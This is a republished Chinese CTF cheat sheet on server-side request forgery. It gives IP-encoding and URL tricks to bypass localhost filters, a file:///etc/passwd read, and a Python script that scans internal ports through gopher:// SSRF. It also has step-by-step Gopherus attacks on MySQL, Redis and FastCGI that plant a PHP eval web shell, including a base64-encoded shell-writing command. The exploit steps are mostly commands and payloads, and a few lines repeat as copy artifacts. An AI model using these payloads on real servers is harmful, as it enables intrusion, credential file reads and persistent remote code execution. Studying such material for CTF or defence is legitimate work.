欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 艺术 > CTF知识集-SSRF

CTF知识集-SSRF

2025/9/10 3:45:18 来源:https://blog.csdn.net/2401_83582688/article/details/144601606  浏览:    关键词:CTF知识集-SSRF

title: CTF知识集-SSRF

写在开头可能用到的提示

  • SSRF入口也可以尝试读文件,例如file:///etc/passwd
  • 127.0.0.1/localhost可以用127.1 | 127.0.1 来表示,做题的还可能可以用http://0 来访问本地
  • 如果过滤ip,可以尝试使用进制转换来绕过,例如: 127(10) -> 0177(8) -> 0x7f(16)
    127.0.0.1的各种进制
    - 2130706433 10进制 http://2130706433
    - 017700000001 8进制 http://017700000001
    - 7F000001 16进制 http://0x7F000001
  • 特殊符号字母在linux下也能表示数字和字母,例如ping ①②⑦.①,表示的是ping本地
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  • http://ctf.@127.0.0.1/flag.php#.show 这里表示的还是解析127.0.0.1/flag.php

工具

Gopherus(打本机端口)

GITHUB: https://github.com/tarunkant/Gopherus
git clone下载命令: git clone https://github.com/tarunkant/Gopherus.git
运行环境: python2

原理

如果本机开启了80 3306 6379等端口,如果存在SSRF,那么可以本机访问gopher://127.0.0.1:3306,如果存在端口,访问会延迟一下
扫端口脚本

import requestsurl= "http://aa54a271-a145-4207-b6f6-ed9af4a8d0f0.challenges.ctfer.com:8080/"ports = [80,9000,8088]address=['10.0.1.188']for adr in address:for p in ports:data={"url":f"gopher://{adr}:{p}/"}try:response = requests.post(url=url,data=data,timeout=2)except Exception as e:print(data) 

3306端口攻击

  • 进入目录,不知道参数可以python gopherus.py -h

  • python gopherus.py --exploit mysql

  • 输入数据库的用户名(root)和payload,payload可以用

    select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘/var/www/html/shell.php’;

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-a6wfbuTR-1734658263131)]

6379端口 redis

  • 进入目录,不知道参数可以python gopherus.py -h
  • python gopherus.py --exploit redis
  • 输入PHPShell,然后输入网站默认目录,然后输入一句话木马,最后会生成shell.php在网站根目录
  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-OZUGSnvx-1734658263132)]

9000端口 Fastcgi

  • 进入目录,不知道参数可以python gopherus.py -h

  • python gopherus.py --exploit fastcgi

  • 输入已经存在的文件,例如/var/www/html/index.php

  • 然后输入要执行的系统命令,这里是写马,路径是写到/var/www/html/shell.php,POST传参cmd

    echo PD89ZXZhbCgkX1BPU1RbY21kXSk7Pz4= |base64 -d > /var/www/html/shell.php

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    /www/html/shell.php

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    [外链图片转存中…(img-pK2oiOte-1734658263132)]

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词